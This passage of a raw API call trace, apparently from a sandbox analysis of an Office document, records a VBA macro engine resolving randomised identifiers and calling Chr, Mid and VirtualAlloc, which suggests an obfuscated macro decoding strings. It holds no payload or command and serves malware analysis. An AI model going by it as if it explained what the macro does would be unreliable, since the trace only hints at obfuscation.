ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.424] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.424] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.424] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.424] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.424] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.424] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.424] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.424] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.424] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.424] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.424] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.424] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.424] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.424] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.425] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.425] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.425] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dace7e0 [0071.425] _mbscpy_s (in: _Dst=0x2885dace7e0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dace7e0) returned 0x0 [0071.425] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.425] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.425] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.425] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.425] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.425] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.425] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.425] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dace7e0) [0071.425] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.425] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.425] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.425] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.425] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.425] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.425] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.425] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MobqkJuVaOFkFNikBWExf") returned 0x40922d [0071.425] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="MobqkJuVaOFkFNikBWExf" | out: _Dst="MobqkJuVaOFkFNikBWExf") returned 0x0 [0071.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="MobqkJuVaOFkFNikBWExf") returned 22 [0071.425] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.425] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="MobqkJuVaOFkFNikBWExf", lHashVal=0x40922d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.425] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.425] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.425] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="MobqkJuVaOFkFNikBWExf", lHashVal=0x40922d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.425] IUnknown:Release (This=0x28857594370) returned 0xc [0071.425] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.425] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="MobqkJuVaOFkFNikBWExf", lHashVal=0x40922d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.426] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.426] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.426] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="MobqkJuVaOFkFNikBWExf", lHashVal=0x40922d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.426] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e6397e, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="MobqkJuVaOFkFNikBWExf") returned 22 [0071.426] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="MobqkJuVaOFkFNikBWExf", lHashVal=0x3057cb, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.426] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da887a0 [0071.426] _mbscpy_s (in: _Dst=0x2885da887a0, _DstSizeInBytes=0x16, _Src=0x28860e6397e | out: _Dst=0x2885da887a0) returned 0x0 [0071.426] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_MobqkJuVaOFkFNikBWExf") returned 0x30d774 [0071.426] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_MobqkJuVaOFkFNikBWExf" | out: _Dst="_B_var_MobqkJuVaOFkFNikBWExf") returned 0x0 [0071.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_MobqkJuVaOFkFNikBWExf") returned 29 [0071.426] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.426] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_MobqkJuVaOFkFNikBWExf", lHashVal=0x30d774, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.426] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.426] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.426] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_MobqkJuVaOFkFNikBWExf", lHashVal=0x30d774, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.426] IUnknown:Release (This=0x28857594370) returned 0xc [0071.426] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.426] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_MobqkJuVaOFkFNikBWExf", lHashVal=0x30d774, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.426] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.426] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.426] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_MobqkJuVaOFkFNikBWExf", lHashVal=0x30d774, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.426] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.426] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.426] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e701ae, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_MobqkJuVaOFkFNikBWExf") returned 29 [0071.426] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_MobqkJuVaOFkFNikBWExf", lHashVal=0x30d774, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4d005f00720061, ppTypeComp=0x6b007100000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4d005f00720061, ppTypeComp=0x6b007100000000, pDummy=0x0) returned 0x0 [0071.426] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e6397e | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.426] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da887a0) [0071.427] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.427] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.427] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.427] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.427] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.427] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.427] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.427] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.427] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.427] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.427] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.427] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dad87c0 [0071.427] _mbscpy_s (in: _Dst=0x2885dad87c0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dad87c0) returned 0x0 [0071.427] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.427] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.427] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.427] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.427] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.427] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.427] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.427] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dad87c0) [0071.427] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.684] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.684] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.684] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.684] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.684] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.684] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.686] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d9982c0, cb=0xc0) returned 0x2885da7d860 [0071.686] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x288617f0000 [0071.687] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ChQqeFAjmHxYNmuHFcSOw") returned 0x40b27e [0071.687] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="ChQqeFAjmHxYNmuHFcSOw" | out: _Dst="ChQqeFAjmHxYNmuHFcSOw") returned 0x0 [0071.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="ChQqeFAjmHxYNmuHFcSOw") returned 22 [0071.687] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.687] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x40b27e, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.687] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.687] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.687] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x40b27e, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.687] IUnknown:Release (This=0x28857594370) returned 0xc [0071.687] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.687] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x40b27e, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.687] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.687] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.687] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x40b27e, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.687] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e639ee, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="ChQqeFAjmHxYNmuHFcSOw") returned 22 [0071.687] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x3098d7, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da96270 [0071.688] _mbscpy_s (in: _Dst=0x2885da96270, _DstSizeInBytes=0x16, _Src=0x28860e639ee | out: _Dst=0x2885da96270) returned 0x0 [0071.688] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ChQqeFAjmHxYNmuHFcSOw") returned 0x301841 [0071.688] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_ChQqeFAjmHxYNmuHFcSOw" | out: _Dst="_B_var_ChQqeFAjmHxYNmuHFcSOw") returned 0x0 [0071.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_ChQqeFAjmHxYNmuHFcSOw") returned 29 [0071.688] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.688] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x301841, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.688] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.688] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.688] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x301841, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.688] IUnknown:Release (This=0x28857594370) returned 0xc [0071.688] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.688] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x301841, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.688] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.688] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.688] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x301841, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.688] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.688] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.688] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e701ee, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_ChQqeFAjmHxYNmuHFcSOw") returned 29 [0071.688] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_ChQqeFAjmHxYNmuHFcSOw", lHashVal=0x301841, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x43005f00720061, ppTypeComp=0x65007100000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x43005f00720061, ppTypeComp=0x65007100000000, pDummy=0x0) returned 0x0 [0071.688] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e639ee | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.688] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da96270) [0071.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da997dc, cbMultiByte=2, lpWideCharStr=0x288617f07c4, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.688] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc710 [0071.688] _mbscpy_s (in: _Dst=0x2885dacc710, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dacc710) returned 0x0 [0071.688] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.688] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.688] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.688] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.689] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.689] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, 